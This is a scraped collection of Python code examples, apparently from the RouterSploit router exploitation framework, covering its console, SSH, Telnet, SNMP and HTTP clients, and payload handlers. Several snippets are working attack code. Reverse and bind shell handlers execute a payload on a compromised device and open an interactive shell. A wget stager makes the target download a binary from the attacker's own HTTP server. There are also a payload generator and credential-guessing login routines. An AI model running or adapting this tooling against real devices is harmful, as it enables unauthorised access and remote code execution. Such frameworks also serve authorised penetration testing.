Пример #1
0
    def login_pkey(self, username: str, priv_key: str, retries: int = 1) -> bool:
        """ Login to SSH server with private key

        :param str username: SSH account username
        :param str priv_key: SSH account private key
        :param int retries: number of login retries
        :return bool: True if login was successful, False otherwise
        """

        if "DSA PRIVATE KEY" in priv_key:
            priv_key = paramiko.DSSKey.from_private_key(io.StringIO(priv_key))
        elif "RSA PRIVATE KEY" in priv_key:
            priv_key = paramiko.RSAKey.from_private_key(io.StringIO(priv_key))
        else:
            return False

        for _ in range(retries):
            try:
                self.ssh_client.connect(self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, pkey=priv_key, look_for_keys=False)
            except paramiko.AuthenticationException:
                print_error(self.peer, "SSH Authentication Failed - Username: '******' auth with private key".format(username), verbose=self.verbosity)
            except Exception as err:
                print_error(self.peer, "SSH Error while authenticated by using private key", err, verbose=self.verbosity)
            else:
                print_success(self.peer, "SSH Authentication Successful - Username: '******' with private key".format(username), verbose=self.verbosity)
                return True

            self.ssh_client.close()

        return False
Пример #2
0
    def reverse_tcp(self):
        all_interfaces = "0.0.0.0"
        sock = self.listen(all_interfaces, self.options["lport"])
        if self.port_used:
            print_error("Could not set up listener on {}:{}".format(all_interfaces, self.options["lport"]))
            return

        # execute binary
        commands = self.build_commands()

        print_status("Executing payload on the device")

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # waiting for shell
        print_status("Waiting for reverse shell...")
        client, addr = sock.accept()
        sock.close()
        print_status("Connection from {}:{}".format(addr[0], addr[1]))

        print_success("Enjoy your shell")
        t = telnetlib.Telnet()
        t.sock = client
        t.interact()
Пример #3
0
    def get(self, community_string: str, oid: str, version: int = 1, retries: int = 0) -> bytes:
        """ Get OID from SNMP server

        :param str community_string: SNMP server communit string
        :param str oid: SNMP server oid
        :param int version: SNMP protocol version
        :param int retries: number of retries
        :return bytes: SNMP server response
        """

        cmdGen = cmdgen.CommandGenerator()

        try:
            errorIndication, errorStatus, errorIndex, varBinds = cmdGen.getCmd(
                cmdgen.CommunityData(community_string, mpModel=version),
                cmdgen.UdpTransportTarget((self.snmp_target, self.snmp_port), timeout=SNMP_TIMEOUT, retries=retries),
                oid,
            )
        except Exception as err:
            print_error(self.peer, "SNMP Error while accessing server", err, verbose=self.verbosity)
            return None

        if errorIndication or errorStatus:
            print_error(self.peer, "SNMP invalid community string: '{}'".format(community_string), verbose=self.verbosity)
        else:
            print_success(self.peer, "SNMP valid community string found: '{}'".format(community_string), verbose=self.verbosity)
            return varBinds

        return None
Пример #4
0
    def login(self, username: str, password: str, retries: int = 1) -> bool:
        """ Login to SSH server

        :param str username: SSH account username
        :param str password: SSH account password
        :param int retries: number of login retries
        :return bool: True if login was successful, False otherwise
        """

        for _ in range(retries):
            try:
                self.ssh_client.connect(self.ssh_target, self.ssh_port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, password=password, look_for_keys=False)
            except paramiko.AuthenticationException:
                print_error(self.peer, "SSH Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity)
                self.ssh_client.close()
                break
            except Exception as err:
                print_error(self.peer, "SSH Error while authenticating", err, verbose=self.verbosity)
            else:
                print_success(self.peer, "SSH Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity)
                return True

            self.ssh_client.close()

        return False
Пример #5
0
    def _windows_shell(self, chan: paramiko.channel.Channel) -> None:
        """ Start Windows shell with SSH server

        :param paramiko.channel.Channel chan: channel for communicating with SSH server
        :return None:
        """

        def writeall(sock):
            while True:
                data = sock.recv(256)
                if not data:
                    sys.stdout.flush()
                    return

                sys.stdout.write(data)
                sys.stdout.flush()

        writer = threading.Thread(target=writeall, args=(chan,))
        writer.start()

        try:
            while True:
                d = sys.stdin.read(1)
                if not d:
                    break

                chan.send(d)

        except Exception as err:
            print_error("Error", err, verbose=self.verbosity)
Пример #6
0
    def bind_tcp(self):
        # execute binary
        commands = self.build_commands()

        # synchronized commands
        for command in commands[:-1]:
            self.exploit.execute(command)

        # asynchronous last command to execute binary & rm binary
        thread = threading.Thread(target=self.exploit.execute, args=(commands[-1],))
        thread.start()

        # connecting to shell
        print_status("Connecting to {}:{}".format(self.options['rhost'], self.options['rport']))
        time.sleep(2)

        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((self.options["rhost"], int(self.options["rport"])))
        except socket.error:
            print_error("Could not connect to {}:{}".format(self.options["rhost"], self.options["rport"]))
            return

        print_success("Enjoy your shell")
        tn = telnetlib.Telnet()
        tn.sock = sock
        tn.interact()
Пример #7
0
    def http_request(self, method: str, path: str, session: requests = requests, **kwargs) -> requests.Response:
        """ Requests HTTP resource

        :param str method: method that should be issued e.g. GET, POST
        :param str path: path to the resource that should be requested
        :param requests session: session manager that should be used
        :param kwargs: kwargs passed to request method
        :return Response: Response object
        """

        if self.ssl:
            url = "https://"
        else:
            url = "http://"

        url += "{}:{}{}".format(self.target, self.port, path)

        kwargs.setdefault("timeout", HTTP_TIMEOUT)
        kwargs.setdefault("verify", False)
        kwargs.setdefault("allow_redirects", False)

        try:
            return getattr(session, method.lower())(url, **kwargs)
        except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
            print_error("Invalid URL format: {}".format(url), verbose=self.verbosity)
        except requests.exceptions.ConnectionError:
            print_error("Connection error: {}".format(url), verbose=self.verbosity)
        except requests.RequestException as error:
            print_error(error, verbose=self.verbosity)
        except socket.error as err:
            print_error(err, verbose=self.verbosity)
        except KeyboardInterrupt:
            print_error("Module has been stopped", verbose=self.verbosity)

        return None
Пример #8
0
    def run(self):
        print_status("Generating payload")
        try:
            data = self.generate()
        except OptionValidationError as e:
            print_error(e)
            return

        if self.output == "elf":
            with open(self.filepath, "wb+") as f:
                print_status("Building ELF payload")
                content = self.generate_elf(data)
                print_success("Saving file {}".format(self.filepath))
                f.write(content)
        elif self.output == "c":
            print_success("Bulding payload for C")
            content = self.generate_c(data)
            print_info(content)
        elif self.output == "python":
            print_success("Building payload for python")
            content = self.generate_python(data)
            print_info(content)
        else:
            raise OptionValidationError(
                "No such option as {}".format(self.output)
            )

        return content
Пример #9
0
    def login(self, username: str, password: str, retries: int = 1) -> bool:
        """ Login to Telnet server

        :param str username: Telnet account username
        :param str password: Telnet account password
        :param int retries: number of authentication retries
        :return bool: True if login was successful, False otherwise
        """

        for _ in range(retries):
            try:
                if not self.connect():
                    continue

                self.telnet_client.expect([b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n")
                self.telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n")
                self.telnet_client.write(b"\r\n")

                (i, obj, res) = self.telnet_client.expect([b"Incorrect", b"incorrect"], 5)

                if i == -1 and any([x in res for x in [b"#", b"$", b">"]]) or len(res) > 500:  # big banner e.g. mikrotik
                    print_success(self.peer, "Telnet Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity)
                    return True
                else:
                    print_error(self.peer, "Telnet Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity)
                    break
            except Exception as err:
                print_error(self.peer, "Telnet Error while authenticating to the server", err, verbose=self.verbosity)

        return False
Пример #10
0
    def http_request(self, method, path, session=requests, **kwargs):
        if self.ssl:
            url = "https://"
        else:
            url = "http://"

        url += "{}:{}{}".format(self.target, self.port, path)

        kwargs.setdefault("timeout", HTTP_TIMEOUT)
        kwargs.setdefault("verify", False)
        kwargs.setdefault("allow_redirects", False)

        try:
            return getattr(session, method.lower())(url, **kwargs)
        except (requests.exceptions.MissingSchema, requests.exceptions.InvalidSchema):
            print_error("Invalid URL format: {}".format(url), verbose=self.verbosity)
        except requests.exceptions.ConnectionError:
            print_error("Connection error: {}".format(url), verbose=self.verbosity)
        except requests.RequestException as error:
            print_error(error, verbose=self.verbosity)
        except socket.error as err:
            print_error(err, verbose=self.verbosity)
        except KeyboardInterrupt:
            print_error("Module has been stopped", verbose=self.verbosity)

        return None
Пример #11
0
    def tcp_send(self, tcp_client, data):
        if tcp_client:
            if type(data) is bytes:
                return tcp_client.send(data)
            else:
                print_error("Data to send is not type of bytes", verbose=self.verbosity)

        return None
Пример #12
0
 def command_show(self, *args, **kwargs):
     sub_command = args[0]
     try:
         getattr(self, "_show_{}".format(sub_command))(*args, **kwargs)
     except AttributeError:
         print_error("Unknown 'show' sub-command '{}'. "
                     "What do you want to show?\n"
                     "Possible choices are: {}".format(sub_command, self.show_sub_commands))
Пример #13
0
 def command_use(self, module_path, *args, **kwargs):
     module_path = pythonize_path(module_path)
     module_path = ".".join(("routersploit", "modules", module_path))
     # module_path, _, exploit_name = module_path.rpartition('.')
     try:
         self.current_module = import_exploit(module_path)()
     except RoutersploitException as err:
         print_error(str(err))
Пример #14
0
 def command_run(self, *args, **kwargs):
     print_status("Running module...")
     try:
         self.current_module.run()
     except KeyboardInterrupt:
         print_info()
         print_error("Operation cancelled by user")
     except Exception:
         print_error(traceback.format_exc(sys.exc_info()))
Пример #15
0
 def command_unsetg(self, *args, **kwargs):
     key, _, value = args[0].partition(' ')
     try:
         del GLOBAL_OPTS[key]
     except KeyError:
         print_error("You can't unset global option '{}'.\n"
                     "Available global options: {}".format(key, list(GLOBAL_OPTS.keys())))
     else:
         print_success({key: value})
Пример #16
0
    def _show_encoders(self, *args, **kwargs):
        if issubclass(self.current_module.__class__, BasePayload):
            encoders = self.current_module.get_encoders()
            if encoders:
                headers = ("Encoder", "Name", "Description")
                print_table(headers, *encoders, max_column_length=100)
                return

        print_error("No encoders available")
Пример #17
0
    def udp_send(self, udp_client, data):
        if udp_client:
            if type(data) is bytes:
                try:
                    return udp_client.sendto(data, (self.target, self.port))
                except Exception:
                    print_error("Exception while sending data", verbose=self.verbosity)
            else:
                print_error("Data to send is not type of bytes", verbose=self.verbosity)

        return None
Пример #18
0
    def udp_create(self):
        if is_ipv4(self.target):
            udp_client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
        elif is_ipv6(self.target):
            udp_client = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
        else:
            print_error("Target address is not valid IPv4 nor IPv6 address", verbose=self.verbosity)
            return None

        udp_client.settimeout(UDP_SOCKET_TIMEOUT)
        return udp_client
Пример #19
0
    def udp_recv(self, udp_client, num):
        if udp_client:
            try:
                response = udp_client.recv(num)
                return response
            except socket.timeout:
                print_error("Socket did timeout", verbose=self.verbosity)
            except socket.error:
                print_error("Socket err", verbose=self.verbosity)

        return None
Пример #20
0
 def command_check(self, *args, **kwargs):
     try:
         result = self.current_module.check()
     except Exception as error:
         print_error(error)
     else:
         if result is True:
             print_success("Target is vulnerable")
         elif result is False:
             print_error("Target is not vulnerable")
         else:
             print_status("Target could not be verified")
Пример #21
0
    def command_set(self, *args, **kwargs):
        key, _, value = args[0].partition(" ")
        if key in self.current_module.options:
            setattr(self.current_module, key, value)
            self.current_module.exploit_attributes[key][0] = value

            if kwargs.get("glob", False):
                GLOBAL_OPTS[key] = value
            print_success("{} => {}".format(key, value))
        else:
            print_error("You can't set option '{}'.\n"
                        "Available options: {}".format(key, self.current_module.options))
Пример #22
0
    def tcp_connect(self):
        try:
            tcp_client = self.tcp_create()
            tcp_client.connect((self.target, self.port))

            print_status("Connection established", verbose=self.verbosity)
            return tcp_client

        except Exception as err:
            print_error("Could not connect", verbose=self.verbosity)
            print_error(err, verbose=self.verbosity)

        return None
Пример #23
0
    def close(self) -> bool:
        """ Close FTP connection

        :return bool: True if closing connection was successful, False otherwise
        """

        try:
            self.ftp_client.close()
            return True
        except Exception as err:
            print_error(self.peer, "FTP Error while closing connection", err, verbose=self.verbosity)

        return False
Пример #24
0
    def close(self) -> bool:
        """ Close connection to TCP server

        :return bool: True if closing connection was successful, False otherwise
        """

        try:
            self.tcp_client.close()
            return True
        except Exception as err:
            print_error(self.peer, "TCP Error while closing tcp socket", err, verbose=self.verbosity)

        return False
Пример #25
0
    def send(self, data: bytes) -> bool:
        """ Send data to TCP server

        :param bytes data: data that should be sent to TCP server
        :return bool: True if sending data was successful, False otherwise
        """
        try:
            self.tcp_client.send(data)
            return True
        except Exception as err:
            print_error(self.peer, "TCP Error while sending data", err, verbose=self.verbosity)

        return False
Пример #26
0
    def connect(self) -> bool:
        """ Connect to Telnet server

        :return bool: True if connection was successful, False otherwise
        """

        try:
            self.telnet_client = telnetlib.Telnet(self.telnet_target, self.telnet_port, timeout=TELNET_TIMEOUT)
            return True
        except Exception as err:
            print_error(self.peer, "Telnet Error while connecting to the server", err, verbose=self.verbosity)

        return False
Пример #27
0
    def close(self) -> bool:
        """ Close UDP connection

        :return bool: True if connection was closed successful, False otherwise
        """

        try:
            self.udp_client.close()
            return True
        except Exception as err:
            print_error(self.peer, "Error while closing udp socket", err, verbose=self.verbosity)

        return False
Пример #28
0
    def command_search(self, *args, **kwargs):
        keyword = args[0]

        if not keyword:
            print_error("Please specify search keyword. e.g. 'search cisco'")
            return

        for module in self.modules:
            if keyword in module:
                module = humanize_path(module)
                print_info(
                    "{}\033[31m{}\033[0m{}".format(*module.partition(keyword))
                )
Пример #29
0
    def recv(self, num: int) -> bytes:
        """ Receive UDP data

        :param int num: number of bytes that should received from the server
        :return bytes: bytes received from the server
        """

        try:
            response = self.udp_client.recv(num)
            return response
        except Exception as err:
            print_error(self.peer, "Error while receiving data", err, verbose=self.verbosity)

        return None
Пример #30
0
    def send(self, data: bytes) -> bool:
        """ Send UDP data

        :param bytes data: data that should be sent to the server
        :return bool: True if data was sent, False otherwise
        """

        try:
            self.udp_client.sendto(data, (self.udp_target, self.udp_port))
            return True
        except Exception as err:
            print_error(self.peer, "Error while sending data", err, verbose=self.verbosity)

        return False
Пример #31
0
    def login(self, username: str, password: str, retries: int = 1) -> bool:
        """ Login to SSH server

        :param str username: SSH account username
        :param str password: SSH account password
        :param int retries: number of login retries
        :return bool: True if login was successful, False otherwise
        """

        for _ in range(retries):
            try:
                self.ssh_client.connect(self.ssh_target,
                                        self.ssh_port,
                                        timeout=SSH_TIMEOUT,
                                        banner_timeout=SSH_TIMEOUT,
                                        username=username,
                                        password=password,
                                        look_for_keys=False)
            except paramiko.AuthenticationException:
                print_error(
                    self.peer,
                    "SSH Authentication Failed - Username: '******' Password: '******'"
                    .format(username, password),
                    verbose=self.verbosity)
                self.ssh_client.close()
                break
            except Exception as err:
                print_error(self.peer,
                            "SSH Error while authenticating",
                            err,
                            verbose=self.verbosity)
            else:
                print_success(
                    self.peer,
                    "SSH Authentication Successful - Username: '******' Password: '******'"
                    .format(username, password),
                    verbose=self.verbosity)
                return True

            self.ssh_client.close()

        return False
Пример #32
0
    def http_request(self,
                     method: str,
                     path: str,
                     session: requests = requests,
                     **kwargs) -> requests.Response:
        """ Requests HTTP resource

        :param str method: method that should be issued e.g. GET, POST
        :param str path: path to the resource that should be requested
        :param requests session: session manager that should be used
        :param kwargs: kwargs passed to request method
        :return Response: Response object
        """

        if self.ssl:
            url = "https://"
        else:
            url = "http://"

        url += "{}:{}{}".format(self.target, self.port, path)

        kwargs.setdefault("timeout", HTTP_TIMEOUT)
        kwargs.setdefault("verify", False)
        kwargs.setdefault("allow_redirects", False)

        try:
            return getattr(session, method.lower())(url, **kwargs)
        except (requests.exceptions.MissingSchema,
                requests.exceptions.InvalidSchema):
            print_error("Invalid URL format: {}".format(url),
                        verbose=self.verbosity)
        except requests.exceptions.ConnectionError:
            print_error("Connection error: {}".format(url),
                        verbose=self.verbosity)
        except requests.RequestException as error:
            print_error(error, verbose=self.verbosity)
        except socket.error as err:
            print_error(err, verbose=self.verbosity)
        except KeyboardInterrupt:
            print_error("Module has been stopped", verbose=self.verbosity)

        return None
    def btle_scan(self, mac=None):
        """ Scans for Bluetooth Low Energy devices """

        options = Options(self.buffering, mac, self.enum_services)

        scanner = BTLEScanner(options.mac).withDelegate(ScanDelegate(options))

        if options.mac:
            print_status("Scanning BTLE device...")
        else:
            print_status("Scanning for BTLE devices...")

        devices = []
        try:
            devices = [res for res in scanner.scan(self.scan_time)]
        except Exception as err:
            print_error("Error: {}".format(err))
            print_error("Check if your bluetooth hardware is connected")

        return devices
Пример #34
0
    def start(self):
        """ Routersploit main entry point. Starting interpreter loop. """

        print_info(self.banner)
        printer_queue.join()
        while True:
            try:
                command, args, kwargs = self.parse_line(input(self.prompt))
                if not command:
                    continue
                command_handler = self.get_command_handler(command)
                command_handler(args, **kwargs)
            except RoutersploitException as err:
                print_error(err)
            except (EOFError, KeyboardInterrupt, SystemExit):
                print_info()
                print_error("RouterSploit stopped")
                break
            finally:
                printer_queue.join()
Пример #35
0
    def send_content(self, content: str, dest_file: str) -> bool:
        """ Send file content to SSH server

        :param str content: data that should be sent to SSH file
        :param str dst_file: destination file that data should be saved to
        :return bool: True if sending file content was successful, False otherwise
        """

        try:
            fp_content = io.BytesIO(content)
            sftp = self.ssh_client.open_sftp()
            sftp.putfo(fp_content, dest_file)
            return True
        except Exception as err:
            print_error(self.peer,
                        "SSH Error while sending content to the server",
                        err,
                        verbose=self.verbosity)

        return False
Пример #36
0
    def get_file(self, remote_file: str, local_file: str) -> bool:
        """ Get file from SSH server

        :param str remote_file: remote file on SSH server
        :param str local_file: local file that it should be saved to
        :return bool: True if getting file was successful, False otherwise
        """

        try:
            sftp = self.ssh_client.open_sftp()
            sftp.get(remote_file, local_file)

            return True
        except Exception as err:
            print_error(self.peer,
                        "SSH Error while retrieving file from the server",
                        err,
                        verbose=self.verbosity)

        return False
Пример #37
0
    def tcp_recv(self, tcp_client, num):
        if tcp_client:
            try:
                response = b""
                received = 0
                while received < num:
                    tmp = tcp_client.recv(num - received)

                    if tmp:
                        received += len(tmp)
                        response += tmp
                    else:
                        break

                return response
            except socket.timeout:
                print_error("Socket did timeout")
            except socket.error:
                print_error("Socket error")

        return None
Пример #38
0
    def recv_all(self, num):
        try:
            response = b""
            received = 0
            while received < num:
                tmp = self.tcp_client.recv(num - received)

                if tmp:
                    received += len(tmp)
                    response += tmp
                else:
                    break

            return response
        except Exception as err:
            print_error(self.peer,
                        "TCP Error while receiving all data",
                        err,
                        verbose=self.verbosity)

        return None
Пример #39
0
    def get_content(self, remote_file: str) -> str:
        """ Get file content from SSH server

        :param str remote_file: remote file on SSH server
        :return str: file content from SSH server
        """

        try:
            fp_content = io.BytesIO()
            sftp = self.ssh_client.open_sftp()
            sftp.getfo(remote_file, fp_content)

            return fp_content.getvalue()
        except Exception as err:
            print_error(
                self.peer,
                "SSH Error while retrieving file content from the server",
                err,
                verbose=self.verbosity)

        return None
Пример #40
0
    def telnet_login(self, username, password, target=None, port=None, retries=1):
        if not target:
            target = self.target
        if not port:
            port = self.port

        for _ in range(retries):
            try:
                telnet_client = self.telnet_connect(target=target, port=port)
                if not telnet_client:
                    continue

                telnet_client.expect([b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n")
                telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n")
                telnet_client.write(b"\r\n")

                (i, obj, res) = telnet_client.expect([b"Incorrect", b"incorrect"], 5)

                if i == -1 and any([x in res for x in [b"#", b"$", b">"]]) or len(res) > 500:  # big banner e.g. mikrotik
                    print_success("Telnet Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity)
                    return telnet_client
                else:
                    print_error("Telnet Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity)
                    break
            except EOFError:
                print_error("Telnet connection error", verbose=self.verbosity)
            except Exception as err:
                print_error(err, verbose=self.verbosity)

        return None
Пример #41
0
    def wget(self):
        print_status("Using wget method")
        self.binary_name = random_text(8)

        if "binary" in self.wget_options.keys():
            binary = self.wget_options['binary']
        else:
            binary = "wget"

        # run http server
        all_interfaces = "0.0.0.0"
        try:
            server = HttpServer((all_interfaces, int(self.options["lport"])), HttpRequestHandler)
        except socket.error:
            print_error("Could not set up HTTP Server on {}:{}".format(self.options["lhost"], self.options["lport"]))
            return False

        thread = threading.Thread(target=server.serve_forever, args=(self.payload,))
        thread.start()

        # wget binary
        print_status("Using wget to download binary")
        cmd = "{} http://{}:{}/{} -qO {}/{}".format(binary,
                                                    self.options["lhost"],
                                                    self.options["lport"],
                                                    self.binary_name,
                                                    self.location,
                                                    self.binary_name)

        self.exploit.execute(cmd)

        thread.join(10)
        if thread.is_alive():
            assassin = threading.Thread(target=server.shutdown)
            assassin.daemon = True
            assassin.start()
            return False

        return True
Пример #42
0
    def command_set(self, *args, **kwargs):
        key, _, value = args[0].partition(" ")
        if key in self.current_module.options:
            if key == "encoder":
                value = self.current_module.get_encoder(value)

                if not value:
                    print_error(
                        "Encoder not available. Check available encoders with `show encoders`."
                    )
                    return

            setattr(self.current_module, key, value)
            self.current_module.exploit_attributes[key][0] = value

            if kwargs.get("glob", False):
                GLOBAL_OPTS[key] = value
            print_success("{} => {}".format(key, value))
        else:
            print_error("You can't set option '{}'.\n"
                        "Available options: {}".format(
                            key, self.current_module.options))
Пример #43
0
    def test_connect(self) -> bool:
        """ Test connection to Telnet server

        :return bool: True if test connection was successful, False otherwise
        """

        try:
            self.telnet_client = telnetlib.Telnet(self.telnet_target,
                                                  self.telnet_port,
                                                  timeout=TELNET_TIMEOUT)
            self.telnet_client.expect(
                [b"Login: "******"login: "******"Username: "******"username: "******"Telnet Error while testing connection to the server",
                        err,
                        verbose=self.verbosity)

        return False
    def start(self):
        """ exploit main entry point. Starting interpreter loop. """

        print_info(self.banner)
        printer_queue.join()
        while True:
            try:
                command, args = self.parse_line(input(self.prompt))
                if not command:
                    continue
                command_handler = self.get_command_handler(command)
                command_handler(args)
            except RoutersploitException as err:
                print_error(err)
            except EOFError:
                print_info()
                print_status(" stopped")
                break
            except KeyboardInterrupt:
                print_info()
            finally:
                printer_queue.join()
Пример #45
0
    def login_pkey(self, username: str, priv_key: str, retries: int = 1) -> bool:
        """ Login to SSH server with private key

        :param str username: SSH account username
        :param str priv_key: SSH account private key
        :param int retries: number of login retries
        :return bool: True if login was successful, False otherwise
        """

        if "DSA PRIVATE KEY" in priv_key:
            priv_key = paramiko.DSSKey.from_private_key(io.StringIO(priv_key))
        elif "RSA PRIVATE KEY" in priv_key:
            priv_key = paramiko.RSAKey.from_private_key(io.StringIO(priv_key))
        else:
            return False

        for _ in range(retries):
            try:
                self.ssh_client.connect(
                    self.ssh_target,
                    self.ssh_port,
                    timeout=SSH_TIMEOUT,
                    banner_timeout=SSH_TIMEOUT,
                    username=username,
                    pkey=priv_key,
                    look_for_keys=False,
                    allow_agent=False,
                )
            except paramiko.AuthenticationException:
                print_error(self.peer, "SSH Authentication Failed - Username: '******' auth with private key".format(username), verbose=self.verbosity)
            except Exception as err:
                print_error(self.peer, "SSH Error while authenticated by using private key", err, verbose=self.verbosity)
            else:
                print_success(self.peer, "SSH Authentication Successful - Username: '******' with private key".format(username), verbose=self.verbosity)
                return True

            self.ssh_client.close()

        return False
Пример #46
0
    def ssh_test_connect(self):
        ssh_client = self.ssh_create()

        try:
            ssh_client.connect(self.target,
                               self.port,
                               timeout=SSH_TIMEOUT,
                               username="******",
                               password=random_text(12),
                               look_for_keys=False)
        except paramiko.AuthenticationException:
            ssh_client.close()
            return True

        except socket.error:
            print_error("Connection error")
            ssh_client.close()
            return False

        except Exception as err:
            print_error("Err: {}".format(err))

        ssh_client.close()
        return False
Пример #47
0
    def test_connect(self) -> bool:
        """ Test connection to SSH server

        :return bool: True if test connection was successful, False otherwise
        """

        try:
            self.ssh_client.connect(self.ssh_target,
                                    self.ssh_port,
                                    timeout=SSH_TIMEOUT,
                                    username="******",
                                    password=random_text(12),
                                    look_for_keys=False)
        except paramiko.AuthenticationException:
            self.ssh_client.close()
            return True
        except Exception as err:
            print_error(self.peer,
                        "SSH Error while testing connection",
                        err,
                        verbose=self.verbosity)

        self.ssh_client.close()
        return False
Пример #48
0
    def login(self, username, password, retries=1):
        for _ in range(retries):
            try:
                if not self.connect():
                    continue

                self.telnet_client.expect([b"Login: "******"login: "******"Username: "******"username: "******"utf-8") + b"\r\n")
                self.telnet_client.expect([b"Password: "******"password: "******"utf-8") + b"\r\n")
                self.telnet_client.write(b"\r\n")

                (i, obj, res) = self.telnet_client.expect([b"Incorrect", b"incorrect"], 5)

                if i == -1 and any([x in res for x in [b"#", b"$", b">"]]) or len(res) > 500:  # big banner e.g. mikrotik
                    print_success(self.peer, "Telnet Authentication Successful - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity)
                    return self.telnet_client
                else:
                    print_error(self.peer, "Telnet Authentication Failed - Username: '******' Password: '******'".format(username, password), verbose=self.verbosity)
                    break
            except Exception as err:
                print_error(self.peer, "Telnet Error while authenticating to the server", err, verbose=self.verbosity)

        return None
Пример #49
0
    def _windows_shell(self, chan):
        def writeall(sock):
            while True:
                data = sock.recv(256)
                if not data:
                    sys.stdout.flush()
                    return

                sys.stdout.write(data)
                sys.stdout.flush()

        writer = threading.Thread(target=writeall, args=(chan,))
        writer.start()

        try:
            while True:
                d = sys.stdin.read(1)
                if not d:
                    break

                chan.send(d)

        except Exception as err:
            print_error("Err: {}".format(err))
Пример #50
0
    def ssh_login_pkey(self, username, priv_key, retries=1):
        ssh_client = self.ssh_create()

        if "DSA PRIVATE KEY" in priv_key:
            priv_key = paramiko.DSSKey.from_private_key(io.StringIO(priv_key))
        elif "RSA PRIVATE KEY" in priv_key:
            priv_key = paramiko.RSAKey.from_private_key(io.StringIO(priv_key))
        else:
            return None

        for _ in range(retries):
            try:
                ssh_client.connect(self.target, self.port, timeout=SSH_TIMEOUT, banner_timeout=SSH_TIMEOUT, username=username, pkey=priv_key, look_for_keys=False)
            except paramiko.AuthenticationException:
                print_error("Authentication Failed - Username: '******' auth with private key".format(username), verbose=self.verbosity)
            except Exception as err:
                print_error("Err: {}".format(err), verbose=self.verbosity)
            else:
                print_success("SSH Authentication Successful - Username: '******' with private key".format(username), verbose=self.verbosity)
                return ssh_client

            ssh_client.close()

        return None
Пример #51
0
    def __init__(self, tcp_target: str, tcp_port: int, verbosity: bool=False) -> None:
        """ TCP client constructor

        :param str tcp_target: target TCP server ip address
        :param int tcp_port: target TCP server port
        :param bool verbosity: display verbose output
        :return None:
        """

        self.tcp_target = tcp_target
        self.tcp_port = tcp_port
        self.verbosity = verbosity

        self.peer = "{}:{}".format(self.tcp_target, self.tcp_port)

        if is_ipv4(self.tcp_target):
            self.tcp_client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        elif is_ipv6(self.tcp_target):
            self.tcp_client = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
        else:
            print_error("Target address is not valid IPv4 nor IPv6 address", verbose=self.verbosity)
            return None

        self.tcp_client.settimeout(TCP_SOCKET_TIMEOUT)
Пример #52
0
    def recv_all(self, num: int) -> bytes:
        """ Receive all data sent by the server

        :param int num: number of total bytes that should be received
        :return bytes: data that was received from the server
        """

        try:
            response = b""
            received = 0
            while received < num:
                tmp = self.tcp_client.recv(num - received)

                if tmp:
                    received += len(tmp)
                    response += tmp
                else:
                    break

            return response
        except Exception as err:
            print_error(self.peer, "TCP Error while receiving all data", err, verbose=self.verbosity)

        return None
Пример #53
0
    def start(self, argv):
        """ Routersploit main entry point. Starting interpreter loop. """

        printer_queue.join()
        try:
            command, args = self.parse_line("use scanners/routers/router_scan")
            if not command:
                return -1
            command_handler = self.get_command_handler(command)
            command_handler(args)
        except RoutersploitException as err:
            print_error(err)
        except EOFError:
            print_info()
            print_status("routersploit stopped")
            return -1
        except KeyboardInterrupt:
            print_info()
        finally:
            printer_queue.join()

        try:
            command, args = self.parse_line("set target " + argv)
            if not command:
                return -1
            command_handler = self.get_command_handler(command)
            command_handler(args)
        except RoutersploitException as err:
            print_error(err)
        except EOFError:
            print_info()
            print_status("routersploit stopped")
            return -1
        except KeyboardInterrupt:
            print_info()
        finally:
            printer_queue.join()

        try:
            command, args = self.parse_line("run")
            if not command:
                return -1
            command_handler = self.get_command_handler(command)
            command_handler(args)
        except RoutersploitException as err:
            print_error(err)
        except EOFError:
            print_info()
            print_status("routersploit stopped")
            return -1
        except KeyboardInterrupt:
            print_info()
        finally:
            printer_queue.join()
Пример #54
0
    def write(self, characteristic, data):
        try:
            dev = Peripheral(self, self.addrType)

            services = sorted(dev.services, key=lambda s: s.hndStart)

            print_status(
                "Searching for characteristic {}".format(characteristic))
            char = None
            for service in services:
                if char is not None:
                    break

                for _, c in enumerate(service.getCharacteristics()):
                    if str(c.uuid) == characteristic:
                        char = c
                        break

            if char:
                if "WRITE" in char.propertiesToString():
                    print_success("Sending {} bytes...".format(len(data)))

                    wwrflag = False

                    if "NO RESPONSE" in char.propertiesToString():
                        wwrflag = True

                    try:
                        char.write(data, wwrflag)
                        print_success("Data sent")
                    except Exception as err:
                        print_error("Error: {}".format(err))

                else:
                    print_error("Not writable")

            dev.disconnect()

        except Exception as err:
            print_error(err)

        try:
            dev.disconnect()
        except Exception:
            pass

        return None
Пример #55
0
 def run(self):
     print_error("Module cannot be run")
Пример #56
0
def shell(exploit, architecture="", method="", payloads=None, **params):
    available_payloads = {}
    payload = None
    options = []

    if architecture and method:
        path = "routersploit/modules/payloads/{}/".format(architecture)

        # get all payloads for given architecture
        all_payloads = [f.split(".")[0] for f in listdir(path) if isfile(join(path, f)) and f.endswith(".py") and f != "__init__.py"]

        payload_path = path.replace("/", ".")
        for p in all_payloads:
            module = getattr(importlib.import_module("{}{}".format(payload_path, p)), 'Exploit')

            # if method/arch is cmd then filter out payloads
            if method is "cmd":
                if getattr(module, "cmd") in payloads:
                    available_payloads[p] = module
            else:
                available_payloads[p] = module

    print_info()
